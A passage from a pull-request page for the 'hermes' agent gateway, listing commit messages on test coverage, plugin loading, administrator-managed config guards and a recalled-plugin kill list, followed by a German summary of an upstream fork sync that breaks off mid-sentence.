retry and pass on main. Wait for the first call after serve's submit.
The survival cell's settle check treated "no live admission" as settled,
so a partial cutover that ran serve's turn on the gateway without a
session_admissions row would read "lost" before the gateway could write its
reply. In that one case wait for the reply; the deadline fails loudly.
Mark the module spawns_gateway_lookalike like the other e2e rigs that start
a real gateway, so passing the live-system guard no longer depends on the
module-scoped fixture running before the guard patches Popen.
The live multiplexer suite only drove rescan-profiles; nothing sent the
serve-profile or unserve-profile control verbs by name. Add live tests that:

- serve a profile created behind the multiplexer's back with
  serve-profile, then mint, admit and commit a turn in that profile's own
  state.db (a repeat serve is refused as already served);
- unserve it with unserve-profile: discovery and the recorded set drop it,
  a new ticket is refused, a ticket minted before the unserve no longer
  redeems, and the launch profile and the boot-time secondary still answer
  turns;
- unserve it while its turn is blocked at the model: the turn ends
  interrupted/cancelled before the model answers, the verb answers
  unserved, and the host keeps running.

Test-only; no product change.

Refs #145171
The 30s profile watcher could serve the new profile before the explicit
serve-profile verb, or retire a parked one before unserve-profile, and
the verbs may answer pending after 5s.

- Create the hot profile already parked (one rename) so the watcher
  skips it; unpark right before serving. If a tick still served it
  first, retire and re-serve by the verb so `served` is the verb's own.
- Park only after the explicit unserve; a second unserve retires
  anything a tick re-served in between.
- On a pending reply, poll identify (60s deadline) until the
  transition is visible.
The fixture model gives up on a blocked call by itself after 15s, which also
ends the turn. Record that timeout on the gate and assert it never fired, so the
test only passes when Stop aborts the call while it is still blocked.
identify drops a retiring profile before its turns are joined, so polling it
reported unserve done while retirement was still running. The recorded served
set is written after the verb's own work completes; wait on that instead.
gateway stop parks before it unserves; the helper unserves first so the watcher
cannot retire the profile ahead of the verb.
Cover the deployment session token (HERMES_DASHBOARD_SESSION_TOKEN) on
the gateway's own listener behind the sign-in gate, as serve already
honours it: the right bearer reads the dashboard API, a wrong or missing
one gets 401, and on a multiplexed gateway the same token with a profile
selector reads that profile's own config, not the launch profile's.

Test-only: both tests pass on the base.
The status codes alone come out the same on an ungated listener, which
also takes HERMES_DASHBOARD_SESSION_TOKEN as its legacy session token.
The module fixture now asserts /api/auth/me reports the session-token
provider, so the tests fail if dashboard.public_url stops gating the
gateway's private listener.
The spawned gateway's model-catalog watcher fetches remote catalogs after
30 s; disable it in the fixture config so a stalled run stays network-free.
Add scripts/gen_serve_handler_ledger.py and the generated
website/docs/developer-guide/serve-handler-ledger.json: one row per
HTTP/WebSocket route of the app `hermes serve` runs and per JSON-RPC
method an /api/ws client can call, with its current path and an owner
decision.

RPC rows are classified with the tables /api/ws dispatch reads: the
authority's served verbs, then ws_legacy_fallback's refused/fallback
rules. A served verb is decided `authority`; every other row is
`undecided` (RPC fallback/refused rows reference D3) until a reviewed
decision is recorded in the script's DECISIONS table. Dashboard-plugin
routes depend on installed plugins and are one row, the hot-mount route.

tests/hermes_cli/test_serve_handler_ledger.py fails when a handler is
added or removed without regenerating the ledger; --check does the same
from the command line.

Refs #145171 (EP-1)
Creating a profile is host-level work, not session work, so POST /api/profiles
and profiles.create are recorded as keep-host-wide instead of undecided.
The ledger is working data for the serve cutover, not user documentation, and
is deleted with the serve stack. Move it next to its drift test as
tests/hermes_cli/serve_handler_ledger.json, which Docker, Desktop payloads and
Nix already exclude; the generator and the test only change the path.
main added bot_relay.cancel to the authority RPC handlers, so the
ledger gains one authority row (620 rows, 106 authority RPCs).
The authority serves connection.respond, connectors.connect and
connectors.operation.status/wake only for a session-owned call; an
account-owned one (the Desktop Connectors page) gets -32601 and ws.py
falls back to the legacy handler. The ledger recorded all four as
authority-owned. They now read "authority (session-owned); account-owned:
legacy fallback" and stay undecided (D3).

The refused set now comes from calling legacy_fallback_allowed with the
interactive capabilities, the same predicate ws.py calls, instead of
re-deriving it from the module's private tables.
The surface-gate lookup matched the inner function by name and read its
first closure cell, so renaming it or capturing another value ahead of
field silently dropped or misrecorded every surface suffix. It now
compares against route_on's code object and reads the cell named field;
a rename of field fails with KeyError. The regenerated ledger is unchanged
(12 gated routes).
A DECISIONS key that no longer names a live handler, or a value outside
DECISION_VALUES, now fails the ledger test by name instead of only
asking for a regenerate.
gateway.ping is answered by the ws read loop before dispatch and is in no
handler table, so the generator docstring says so.
Adds rows for groups.continue, image.render and the plugin
auto-update / update-all dashboard routes.
`hermes -z` has run through the gateway (`_run_oneshot_from_args` ->
`launch_gateway_chat`) at every dispatch site for a while, but the old
in-process runner stayed behind: `hermes_cli.oneshot.run_oneshot` /
`_run_agent` built a bare AIAgent outside the session authority, and
`hermes_cli.main._run_and_exit_oneshot` (with its
`_cleanup_oneshot_runtime` cleanup table) was its only caller. Nothing
outside tests reached any of it.

Delete that path. `hermes_cli.main._exit_after_oneshot` stays exactly as
it is: `--cpu-profile` names it as the one-shot hard-exit path and it
writes the profile before `os._exit`; only its docstring loses the
pointer to the removed cleanup helper. `hermes_cli/oneshot.py` keeps
only what the gateway path and gateway CLI turns still import: the
exit-code mapping, the `--usage-file` ledger with its auxiliary-usage
delta, and `--toolsets` normalization. The process-receipt eval probe
now calls `process_registry.wait_for_pending_completions` directly.

Tests that only exercised the deleted runner are removed; the exit-code
and usage-file tests now call the kept helpers directly; the cost-guard
test patches the gateway launcher instead of the removed function. A new
test pins that `hermes -z` dispatches to `launch_gateway_chat`.

Refs #145171 (EP-11a)
The one-shot runner removal deleted all of test_oneshot_fallback.py, but
TestResolveRuntimeWithFallback covers resolve_runtime_with_fallback, which
the gateway and the runtime readiness check still call. Restore that class
unchanged and drop only the two tests that drove oneshot._run_agent.
The runner that used it is gone, but the name was importable from this
module on main and external callers patch it there; removing it turns
their patch into an AttributeError.
Replace the symbol-absence test with one that pins the kept re-export,
and spell out in the comment that the -z run does not read it.
Add hermes_cli.plugin_isolation.import_user_code(path, module_name): the
spec -> sys.modules -> exec -> pop-on-failure steps for loading one file of
user code, returning None when the file has no module spec. The gateway
HOOK.yaml loader now uses it instead of its own copy of those steps.

No behavior change: hooks load exactly as before under every
plugins.isolation mode, the 'could not load handler.py' skip line and the
'Error loading hook' path are unchanged. Keeping user hooks out of the
gateway process under host isolation is a separate, opt-in change.
A hook whose handler.py raises must surface its error on the
'[hooks] Error loading hook <name>: <error>' line, must not stay in
sys.modules, and must not be registered. Nothing tested this, so dropping
the sys.modules pop or swallowing the exception still passed.

The module docstring now says the host-mode row records today's behaviour
pending the follow-up that keeps hooks out of the process, rather than
reading as the intended contract.
It is shared import steps for loaders that run a single file of plugin
code in-process, not yet the only such place: other loaders still run
their own spec/sys.modules/exec blocks.
On the gateway's Webapp behind the sign-in gate, a provider token worked
on its own (bearer header, socket ?token=) only when this listener gave
it to a native app's sign-in. The deployment session token
(HERMES_DASHBOARD_SESSION_TOKEN, literal or file:<path>) that the bundled
session-token provider vouches for was therefore refused with 401 /
close 4401, although the docs promise it authorizes the gated listener.

The bearer, peek_session and socket ?token= checks now call
access_token_works_alone: token_works_alone (looked up at call time) or
the token the registered session-token provider read at startup,
compared in constant time by the provider's matches_token, which its
verify_session also uses. With the provider not registered
(dashboard.session_token_auth enabled: false) the token is refused as on
main. token_works_alone and the refresh route are unchanged from main:
the deployment token has no refresh.
gateway/builtin_hooks/ held only a docstring, and
HookRegistry._register_builtin_hooks() was an empty method called at the
start of discover_and_load(). Nothing registered through either one, so
hook loading is unchanged: user hooks under the profile's hooks/ dir
load exactly as before.

Remove both, the test helper that patched the empty method out, and
the developer docs (and zh-Hans copies) that listed the package as an
extension point.

Related: Code Health PLG-08.
A forced plugin re-discovery (reload) re-runs register(), but the plugin's
@-prefix was still held from its first load, so the new provider was refused
with "prefix 'x' is already registered" and the stale one kept answering.

Context-reference registrations now go through the plugin ownership ledger.
The prefix table remembers which plugin on which manager claimed a prefix.
Unloading keeps the provider registered, as before, and only releases the
claim. When the same plugin on the same manager registers that prefix again,
the new provider is staged on a ledger entry and published only after the
plugin's load succeeds. A load that fails or times out disposes the entry
first, so the working provider and its owner stay exactly as they were.

Everything else matches main: providers stay in one process-wide table shared
by every profile; a second registration of a prefix in the same load, another
plugin, another profile's manager or a second manager are refused with the
same warning; built-in prefixes are refused; both registration calls still
return None when called as before.
The staged context references were found by slicing the manager's
registration list from the offset saved at load start. An earlier
registration disposed while the plugin loaded shortens that list, so the
reload's entries slid below the offset and the old provider kept answering
while the plugin was reported as reloaded.

Each load's PluginContext now keeps the registrations it staged, and a
successful load publishes exactly those, then clears the list so a
provider that holds its ctx does not keep the provider it replaced.
The classic CLI hard-rejects a write to a key pinned by the managed
(administrator) scope: hermes_cli/config.py enforces
managed_scope.is_key_managed in both set_config_value and
unset_config_value. The TUI/desktop gateway did not — `git grep
is_key_managed -- tui_gateway/` was empty — so every write path under
config.set persisted the user's value and returned success.

The result was worse than a missing feature. _load_cfg() re-applies
_apply_managed() over the raw read on every behavioral read, so the
administrator's value keeps winning: the toggle reports success, writes
config.yaml, and then has no effect. Administrator policy was
enforceable on one surface and silently bypassable on the other.

The guard goes in at the write primitives so it cannot be forgotten by a
future call site:

- _write_config_key() raises ManagedKeyError instead of persisting a
  pinned key, and a thin config.set wrapper maps that to a 4030 refusal.
  That covers every funnel call site in the handler at once.
- Branches that mutate-and-save directly (reasoning, details_mode,
  details_mode.<section>, prompt) bypass that funnel and write several
  leaves per call, so each validates its own leaves before the first
  mutation. The details_mode fan-out builds its leaf list from
  _DETAIL_SECTION_NAMES rather than hardcoding it.
- A global model switch persists model.default/provider/base_url through
  cli.save_config_value, which has no managed guard of its own. The
  refusal happens before switch_model() mutates the live session, so a
  pinned model cannot leave the session switched while config.yaml keeps
  the administrator's value. Session- and once-scoped switches never
  persist and stay allowed.

is_key_managed is exact dotted-leaf matching, so the guards name precise
leaves — a managed display.show_reasoning does not freeze the rest of
display. Lookup is fail-open, mirroring _apply_managed: a broken or
absent managed scope must never block a write nobody pinned.

[Ported onto the current layout: config.set now dispatches per key in
tui_gateway/methods_config_set.py and every multi-leaf write goes through
_write_config_keys / _write_display_sections, so the guard sits in those
primitives plus custom_prompt and display.personality. ManagedKeyError is a
ConfigWriteError (passes the existing setter guard) and config.set answers
it with 4030. The model guard moved to tui_gateway/model_switch.py, which
persists through persist_model_selection. The managed lookup reuses
managed_scope.is_key_managed and the CLI's refusal text. Tests are added
separately for the new layout.]

(cherry picked from commit 83082312f7134dc84e9afb1b11eb50bc38fde8f4)
The managed-key guard added for `config.set model` only covered the
immediate switch path inside `_apply_model_switch`. When a turn is in
flight, `_config_set` takes an earlier exit: it parses the request,
stashes it in `session["pending_model_switch"]`, and returns
`{"deferred": true}` without ever consulting the managed policy. With
`model.default` pinned, `/model X --global` during a running turn was
acknowledged as a success.

The refusal did eventually fire, but in the wrong place and to the wrong
audience: at the next turn start `_apply_pending_model_switch` calls
`_apply_model_switch`, whose `ManagedKeyError` is caught by that
function's blanket `except Exception` and downgraded to a generic
"Could not switch model" error event. The original RPC never received
4030, so a client could not distinguish an administrator refusal from a
transient switch failure.

Refuse in the deferred branch before the stash. The check resolves the
full persistence policy via `resolve_persist_behavior` rather than
testing `--global` alone: resolution rule 5 defers to
`model.persist_switch_by_default`, so a bare `/model X` persists when
that key is set, and a `--global`-only test would let exactly that case
through. Session- and once-scoped picks never persist and still queue.

Also make `ManagedKeyError`'s message descriptive instead of the bare
dotted key. Two call sites interpolate the exception into user-facing
copy (`_apply_pending_model_switch` and the live-session slash mirror),
which rendered as "live session sync failed: model.default". `.key`
remains the source of truth for the structured 4030 payload, which reads
the attribute and never `str(exc)`.

[Ported onto the current layout: the deferred branch is
_stash_pending_model_switch in tui_gateway/methods_config_set.py, which
also queues every compute-host pick, so the check sits at its top (a
`/model reset` never persists and is skipped). The descriptive message is
already the ManagedKeyError text from the previous commit.]

(cherry picked from commit 191c7545241c386a1563e7d4a336e164d0596e6d)
The shared owner serves the TUI's config.set from
gateway/session_tui_config.py, which wrote the owning profile's
config.yaml with no managed-key check: `config.set skin mono` with
display.skin pinned saved the value and answered success while every
read kept the administrator's value.

_write_profile_config now compares the edit against the managed scope's
pinned leaves (managed_scope.managed_config_keys, the set
is_key_managed reads) and refuses a change to any of them as
permission_denied naming the key, before anything is written. The
personality write, which goes through persist_personality instead, gets
the same check. approvals.mode already goes through set_config_value,
which refuses managed keys.

Tests cover both TUI paths: a pinned key is refused with nothing
written, an unpinned key still writes.
A global /model pick with --reasoning also writes agent.reasoning_effort. When only that key was
administrator-managed, the immediate path switched the live model, pinned the session override and
persisted the model before refusing the effort (4030 after a partial success), and the mid-turn
path queued the pick. Both paths now check the effort key with the model keys, before any change.

The shared owner's config.set compared only leaves whose raw value changed, so setting a managed
skin to the value the raw file already held answered success while the managed value still won.
It now refuses any write that targets a managed leaf; read-only requests are unaffected.
A persisting /model pick writes persist_model_selection's whole plan, not
just model.default/provider/base_url: model.api_mode is always set or
cleared, and model.context_length plus stale credential keys are cleared
on a route change. A pin on one of those passed the check, so the pick
switched the live session, wrote the user's file and reported success
while the administrator's value kept winning.

The immediate path now checks the exact plan from
model_selection_config_updates once switch_model has resolved the
target, still before any confirm prompt or live swap. A pick queued
mid-turn is resolved only at turn start, so it counts every clear the
raw model block makes possible. Without a managed scope the check
returns before reading anything.
The managed-key check re-ran the edit on a copy with the pinned leaves
removed to find out what it writes, so every edit had to be safe to
repeat (focus reads existing values to decide what to write). Each edit
now returns the dotted leaves it sets or clears along with its result;
_write_profile_config runs it once, refuses when one of those leaves is
pinned and only then saves. Setting a pinned leaf to the value the raw
file already holds is still refused; focus status declares no leaf.
A pick queued mid-turn (and every pick on a compute-host session) was
refused when the managed scope pinned a key the switch might clear, such
as model.context_length, even when the resolved route keeps it. Queuing
now checks only the keys every persisting pick writes (model.default,
provider, base_url, api_mode, plus agent.reasoning_effort with a valid
--reasoning). The conditional clears are checked against the exact plan
when the queued pick is applied at turn start, before anything is
switched or saved; a refusal there is shown as the dropped-switch notice
with the refusal text naming the key.
config.set reasoning <level> with scope=global saved agent.reasoning_effort
through _save_gateway_config_key, which has no managed check, so a pinned
effort was written and the call answered success. It is now refused with
permission_denied naming the key before the session's level is committed
or anything is saved, as the sidecar's config.set already refuses it.
Display words, reset and session scope are unchanged.
approvals.mode and yolo with scope=global were already refused when the
managed scope pins approvals.mode (set_config_value refuses it), but the
owner reported storage_unavailable. It now reports permission_denied with
field=approvals.mode, like the other owner config.set refusals. Nothing is
written either way, and any other failure keeps storage_unavailable.
The kill list (removed.yaml) was checked by each caller. Plugin packs
installed and enabled recalled plugins, and the dashboard/TUI enable
path skipped the check the CLI enable command runs, so a recalled
plugin's Python dependencies could reach the shared venv before the
load-time gate refused it.

The check now runs inside the shared cores every surface uses:

- _install_plugin_core refuses a kill-list match by source, git URL,
  manifest name or catalog name once the manifest is read and before
  the scan or publication, unless allow_removed is set.
- _set_plugin_enabled refuses enabling an installed non-bundled plugin
  on the kill list (an install record carrying allow_removed stays
  exempt). Disable is unchanged.

Callers that caught only AdmissionRefused around an enable (dashboard
and TUI toggle, plugin packs, the install-card enable) now also turn
the refusal into their normal error result. The CLI pre-checks and
messages are unchanged; the load-time gate stays as a backstop.

Code Health PMF-03, plan step A1.6.
A subdirectory plugin install has no .git, so `hermes plugins update` and the
dashboard/TUI update re-clone it through _install_plugin_core. That core now
checks the kill list, but the re-clone did not pass on the install record's
saved allow_removed exemption, so updating a recalled plugin the user had
installed with --allow-removed was refused.

_pull_plugin_update now forwards the record's allow_removed into
_reclone_plugin_update and on to the core, which writes it back on the new
record. Installs without the exemption are still refused before any re-clone.
The enable kill-list check re-resolved the plugin directory from the bare
leaf of its key, so plugins/obs/x beside a top-level plugins/x read the
other plugin's install record: a clean nested plugin could be refused, or
enabled on the other plugin's allow_removed exemption. Dashboard/TUI and
CLI enable now pass the resolved entry's manifest name and directory, the
same inputs the load-time gate uses.
A bare pack name resolves to the catalog entry's repo identifier before the
install core runs, so a name-only recall of an entry whose manifest name
differs matched nothing and the pack published and enabled it. The pack
now checks the catalog name itself, as `hermes plugins install <name>`
already does.
The plugin guide told authors to read session identity with
`gateway.session_context.get_session_env(...)`, written as a dotted module
call with no import line. `hermes plugins validate` treats only
`from gateway.session_context import get_session_env` as public, so an author
who wrote `import gateway.session_context` to match that spelling got a
private-import warning.

The developer guide and the user guide now name that import, and the
slash-command example uses it to read the platform and the chat id. A test
validates the guide's `get_session_env` example as a plugin and expects no
private-import warning.
The plugin guide example said get_session_env returns "" outside a session. When the
session ContextVar was never bound it reads os.environ first and only then returns the
default, so the comment now says that.
The guide test only checked that validate reported no private import, so
an example with the import line deleted, written with dotted calls, or
not parsing at all still passed. Parse each get_session_env block and
require `from gateway.session_context import get_session_env` in it.
Under plugins.isolation: host, a plugin whose register() queued an
ctx.on_unload callback and then raised kept that callback (and any
objects it handed over) in the plugin host. The in-process loader runs
the callback when register() fails, so a hosted plugin that started a
thread or opened a resource before failing leaked it until the host
exited, and a later successful load inherited the stale callback.

PluginHost.load now unloads the plugin key in the host when the load
fails, which runs the queued callbacks and drops the host-side
references, matching the in-process failure path.
The failed-load cleanup added in the previous commit could raise before
the original exception was re-raised, so the plugin's recorded error
became the cleanup's (an on_unload that raised SystemExit, or one that
exited the host). Run the cleanup best-effort, log its failure, and
re-raise the register() error.
A hosted load abandoned at its load deadline can fail after a reload of
the same plugin succeeded. Its failure cleanup unloaded the plugin key,
which tore down the live load: its tools failed with "plugin host
callable was released" and its on_unload had already run.

Claim the plugin key before the host start can block, and run the
failure cleanup only while this load still owns the key.
The public list `hermes plugins validate` checks plugin imports against
was a hardcoded frozenset inside hermes_cli/plugin_validate_private_imports.py,
with no page that showed it to plugin authors.

Move the list, unchanged (89 entries), into hermes_cli/data/plugin_api.json
(already shipped as package data via `data/*.json`) and load it once in the
validator. scripts/gen_plugin_api_docs.py renders
website/docs/developer-guide/plugins/public-api.md from the same file, and a
test fails when the page is stale. Validate output is unchanged for the same
inputs.
The comment in agent/memory_manager.py still named the validator file as
the reason agent.memory_manager is public; the list now lives in
hermes_cli/data/plugin_api.json. Comment only.
.fork-upstream-base: 944c3a4340 -> e76fbd80be (die gemergte Upstream-Spitze;
Iris' "N Commits hinter dem echten Upstream" liest daraus).

Konflikt-Loesungen (2 Dateien, jeweils Fork-Absicht gegen die neue Upstream-Struktur):
- README.md: Fork-eigene Doku bleibt (Upstream-Original in UPSTREAM-README.md); Upstream
  hatte nur sein Marketing-README umformuliert (Backends-Liste, OpenClaw->import-agent).
  Smoke-Test-Abschnitt auf uv+3.14 gestellt: plain pip loest den Pillow/browser-harness-
  Pin nicht (Upstream loest ihn nur ueber [tool.uv] override-dependencies), und die Kern-
  Deps sind per Marker an >=3.14 gebunden.
- tools/terminal_tool.py: rein strukturell — Upstream wickelt den Call-Body in
  `with _call_in_flight(...)`; die server/client session_key-Trennung (2026-08-19) mit
  neuer Einrückung innerhalb des Blocks wieder eingesetzt, Semantik unveraendert.

Ein Patch brauchte eine echte Anpassung: Upstream hat Auto-Backgrounding eingefuehrt
(Trailing-& -> auto_backgrounded, Foreground-Timeout-Cap -> notify_on_complete-Hoeher-
stufung). Der Early-Exit-Report (2026-10-07) kam diesen von Upstream-Tests festgenagelten
Resultat-Formen zuvor; er gilt jetzt nur noch fuer die STILLE background-Form
(not auto_backgrounded and not notify_on_complete and not watch_patterns) — der Original-
Vorfall war genau ein stiller background=true-Lauf, und ein befehrender/hohergestufter
Spawn meldet sein Ende ueber das Completion-Event. Beide Absichten ueberleben.

Geprueft: compileall ueber alle 10.757 Python-Dateien des Merge-Ergebnisses (0 Fehler).
Smoke (3.14-venv via uv, uv pip install -e .): alle gepatchten Module importieren,
hermes --help ok. Fork-Regressionssaetze (13 Fork-Testdateien): 159 passed / 11 skipped.
Terminal/cwd/session-Slice der Upstream-Tools-Suite: nach dem Re-fit IDENTISCH zur
Upstream-Basis (17 umgebungsbedingte Failures, gleiche IDs, gegen sauberen upstream/main-
Worktree im gleichen venv gegengeprueft). Gateway -k run: 11 umgebungsbedingt + 2 lark_oapi-
Sammelfehler + 5 vorbestehende Fork/Upstream-Interaktionen (test_api_authority_*/
test_native_ingress_trust/test_session_policy — schlagen auf origin/main bereits fehl, caused
durch den Stall-Judge, keine Regression dieses Syncs). Nicht geprueft: echter Gateway-Job
(Live-Test), iOS/Linux-Produktion, agent-Suite laeuft noch.

Co-Authored-By: Claude Code <noreply@anthropic.com>
chore(sync): .fork-upstream-base auf 79658be93b (Nachzug-Merge), PORTING-NOTES nachgezogen
Some checks failed
Docker Build, Test, and Publish / Build and test image (desktop/arm64) (pull_request) Has been cancelled
Docker Build, Test, and Publish / Build and test image (slim/arm64) (pull_request) Has been cancelled
Docker Build, Test, and Publish / publish (amd64, linux/amd64, blacksmith-32vcpu-ubuntu-2404, desktop) (pull_request) Has been cancelled
Docker Build, Test, and Publish / publish (amd64, linux/amd64, blacksmith-32vcpu-ubuntu-2404, slim) (pull_request) Has been cancelled
Docker Build, Test, and Publish / publish (arm64, linux/arm64, blacksmith-32vcpu-ubuntu-2404-arm, desktop) (pull_request) Has been cancelled
Docker Build, Test, and Publish / publish (arm64, linux/arm64, blacksmith-32vcpu-ubuntu-2404-arm, slim) (pull_request) Has been cancelled
Docker Build, Test, and Publish / merge (, slim) (pull_request) Has been cancelled
Docker Build, Test, and Publish / merge (-desktop, desktop) (pull_request) Has been cancelled
Docker Build, Test, and Publish / Publish tested Docker image (desktop/amd64) (pull_request) Has been cancelled
Docker Build, Test, and Publish / Publish tested Docker image (slim/amd64) (pull_request) Has been cancelled
Docker Build, Test, and Publish / Publish tested Docker image (desktop/arm64) (pull_request) Has been cancelled
Docker Build, Test, and Publish / Publish tested Docker image (slim/arm64) (pull_request) Has been cancelled
Docker Build, Test, and Publish / Assemble versioned manifest and digest receipt (pull_request) Has been cancelled
Docker Build, Test, and Publish / Docker phase requirements met (pull_request) Has been cancelled
Nix flake check / Detect affected areas (pull_request) Has been cancelled
Nix flake check / nix flake check (pull_request) Has been cancelled
Plugin Catalog CI / structural (pull_request) Has been cancelled
Plugin Catalog CI / pinned-source-validate (pull_request) Has been cancelled
PM Bundle / bundle darwin-arm64 (pull_request) Has been cancelled
PM Bundle / bundle win32-arm64 (pull_request) Has been cancelled
PM Bundle / bundle win32-x64 (pull_request) Has been cancelled
Sandbox desktop image / build (amd64, linux/amd64, blacksmith-32vcpu-ubuntu-2404) (pull_request) Has been cancelled
Sandbox desktop image / build (arm64, linux/arm64, blacksmith-32vcpu-ubuntu-2404-arm) (pull_request) Has been cancelled
Sandbox desktop image / publish (amd64, linux/amd64, blacksmith-32vcpu-ubuntu-2404) (pull_request) Has been cancelled
Sandbox desktop image / publish (arm64, linux/arm64, blacksmith-32vcpu-ubuntu-2404-arm) (pull_request) Has been cancelled
Sandbox desktop image / merge (pull_request) Has been cancelled
Termux verification / Termux packaging contracts on Linux (pull_request) Has been cancelled
Termux verification / Prebuilt TUI checks (pull_request) Has been cancelled
Termux verification / Detect R2 credentials (pull_request) Has been cancelled
Termux verification / Verify bionic runtime tools (pull_request) Has been cancelled
99ff30e90d
Co-Authored-By: Claude Code <noreply@anthropic.com>
Author
Owner

Stand — Upstream-Sync 2026-11-05

Befund: Dritter Re-Sync des Forks. 43 eigene Commits gegen 5.168 Upstream-Commits gemergt (2026-10-22 → 2026-11-05; 5.778 Dateien, +345k/−119k Zeilen), in zwei Merges: der erste (5.097) mit Konflikten, die 71 Commits, die Upstream während der Arbeit schob, sauber hinterher. .fork-upstream-base: 944c3a434071 → 79658be93ba3.

Geändert:

  • Konflikte gelöst: README.md (Fork-Doku bleibt — Upstream hatte nur sein Marketing-README umformuliert, Original lebt in UPSTREAM-README.md) und ein struktureller Hunk in tools/terminal_tool.py (Upstream wickelt den Call-Body neu in with _call_in_flight(...); die server/client-session_key-Trennung von 2026-08-19 mit neuer Einrückung innerhalb des Blocks wieder eingesetzt, Semantik unverändert).
  • Ein Patch brauchte eine echte inhaltliche Anpassung: Upstream hat Auto-Backgrounding eingeführt (Trailing-& → auto_backgrounded; Foreground-Timeout über Cap → Höherstufung mit notify_on_complete). Der Early-Exit-Report (2026-10-07) kam diesen von Upstream-Tests festgenagelten Resultat-Formen zuvor und überdeckt jetzt nur noch die stille background=true-Form — der Originalvorfall war genau ein stiller Lauf; ein konvertierter/höhergestufter Spawn meldet sein Ende über das Completion-Event. Beide Absichten überleben (tools/terminal_tool_background.py).
  • Doku: Smoke-Test-Abschnitt auf uv + Python 3.14 gestellt (plain pip löst den Pillow/browser-harness-Pin nicht — Upstream löst ihn nur über [tool.uv] override-dependencies; Kern-Deps sind per Marker an ≥3.14 gebunden), Hinweis auf Gegenprüfung gegen einen sauberen upstream/main-Worktree bei Testfehlern. PORTING-NOTES-Abschnitt „2026-11-05“ ergänzt, README „Offene Punkte“ auf diesen Stand gezogen.

Geprüft:

  • compileall über alle 10.757 Python-Dateien des Merge-Ergebnisses: 0 Fehler.
  • Smoke (3.14-venv via uv, uv pip install -e .): alle gepatchten Module importieren, hermes --help ok — nach beiden Merges.
  • Fork-Regressionstests (die 13 Fork-eigenen Testdateien): 159 passed / 11 skipped.
  • Upstream-Tests der Konfliktstellen: Terminal/cwd/session-Slice erst 20 Failures — 17 davon byte-identisch auf sauberem upstream/main-Worktree im selben venv-Setup (umgebungsbedingt, kein Fork-Thema); die anderen 3 waren die Auto-Background-Kollision oben. Nach dem Re-fit: Failure-Menge identisch zur Upstream-Basis (17, gleiche Test-IDs).
  • Gateway -k run: 11 umgebungsbedingt (identisch zu Upstream) + 2 Sammel-Fehler wegen fehlendem optionalem lark_oapi. Weitere 5 (test_api_authority_*, test_native_ingress_trust, test_session_policy) sind eine vorbestehende Fork/Upstream-Interaktion: schlagen auf origin/main (vor diesem Merge) in demellem venv bereits fehl, bestehen auf reinem Upstream — verursacht durch den Stall-Judge (2026-10-07), der bei jedem self-hosted Reply einen zusätzlichen Klassifizierungs-Request an die eigene Endpoint setzt, den diese Wire-Shape-Tests als unerwarteten System-Turn sehen. Keine Regression dieses Syncs.
  • Agent-Seite: die Upstream-Tests, die die vier gepatchten Agent-Dateien berühren (stall guards/judge, history hygiene, turn finalizer, reply-line): 128 passed.

Nicht geprüft:

  • Live-Test (echter Job durch den laufenden Mac-Gateway) — steht noch aus; nach Merge gilt wie immer: erst live, dann Produktion ziehen.
  • Linux-Container (iris-hermes/iris-hermes-scheduled) noch nicht nachgezogen.
  • Komplette tests/agent-Suite: lief nicht zu Ende (ein einzeln hängender Upstream-Test, Logging-Watchdown-Teardown; dieselbe Form schon vor dem Merge) — bewusst abgebrochen und der betroffene Kernbereich gezielt gefahren.
  • Die 5 Stall-Judge-Tests: nicht behoben, nur eingeordnet; offene Frage, ob der Judge Stub-Endpoints / Läufe ohne Tools überspringen soll.

Grenzen / offen:

  • Upstream wächst weiter; .fork-upstream-base steht auf 79658be93ba3 (Stand beim Einreichen).
  • Mergen mit „Merge“ (Merge-Commit), nicht „Rebase“ — ship ist hier der falsche Weg.
## Stand — Upstream-Sync 2026-11-05 **Befund:** Dritter Re-Sync des Forks. 43 eigene Commits gegen 5.168 Upstream-Commits gemergt (2026-10-22 → 2026-11-05; 5.778 Dateien, +345k/−119k Zeilen), in zwei Merges: der erste (5.097) mit Konflikten, die 71 Commits, die Upstream während der Arbeit schob, sauber hinterher. `.fork-upstream-base`: `944c3a434071` → `79658be93ba3`. **Geändert:** - Konflikte gelöst: `README.md` (Fork-Doku bleibt — Upstream hatte nur sein Marketing-README umformuliert, Original lebt in `UPSTREAM-README.md`) und ein struktureller Hunk in `tools/terminal_tool.py` (Upstream wickelt den Call-Body neu in `with _call_in_flight(...)`; die server/client-`session_key`-Trennung von 2026-08-19 mit neuer Einrückung innerhalb des Blocks wieder eingesetzt, Semantik unverändert). - Ein Patch brauchte eine echte inhaltliche Anpassung: Upstream hat Auto-Backgrounding eingeführt (Trailing-`&` → `auto_backgrounded`; Foreground-Timeout über Cap → Höherstufung mit `notify_on_complete`). Der Early-Exit-Report (2026-10-07) kam diesen von Upstream-Tests festgenagelten Resultat-Formen zuvor und überdeckt jetzt nur noch die stille `background=true`-Form — der Originalvorfall war genau ein stiller Lauf; ein konvertierter/höhergestufter Spawn meldet sein Ende über das Completion-Event. Beide Absichten überleben (`tools/terminal_tool_background.py`). - Doku: Smoke-Test-Abschnitt auf **uv + Python 3.14** gestellt (plain pip löst den Pillow/browser-harness-Pin nicht — Upstream löst ihn nur über `[tool.uv] override-dependencies`; Kern-Deps sind per Marker an ≥3.14 gebunden), Hinweis auf Gegenprüfung gegen einen sauberen `upstream/main`-Worktree bei Testfehlern. PORTING-NOTES-Abschnitt „2026-11-05“ ergänzt, README „Offene Punkte“ auf diesen Stand gezogen. **Geprüft:** - `compileall` über alle 10.757 Python-Dateien des Merge-Ergebnisses: 0 Fehler. - Smoke (3.14-venv via `uv`, `uv pip install -e .`): alle gepatchten Module importieren, `hermes --help` ok — nach beiden Merges. - Fork-Regressionstests (die 13 Fork-eigenen Testdateien): 159 passed / 11 skipped. - Upstream-Tests der Konfliktstellen: Terminal/cwd/session-Slice erst 20 Failures — 17 davon byte-identisch auf sauberem `upstream/main`-Worktree im selben venv-Setup (umgebungsbedingt, kein Fork-Thema); die anderen 3 waren die Auto-Background-Kollision oben. Nach dem Re-fit: Failure-Menge **identisch** zur Upstream-Basis (17, gleiche Test-IDs). - Gateway `-k run`: 11 umgebungsbedingt (identisch zu Upstream) + 2 Sammel-Fehler wegen fehlendem optionalem `lark_oapi`. Weitere 5 (`test_api_authority_*`, `test_native_ingress_trust`, `test_session_policy`) sind eine **vorbestehende** Fork/Upstream-Interaktion: schlagen auf `origin/main` (vor diesem Merge) in demellem venv bereits fehl, bestehen auf reinem Upstream — verursacht durch den Stall-Judge (2026-10-07), der bei jedem self-hosted Reply einen zusätzlichen Klassifizierungs-Request an die eigene Endpoint setzt, den diese 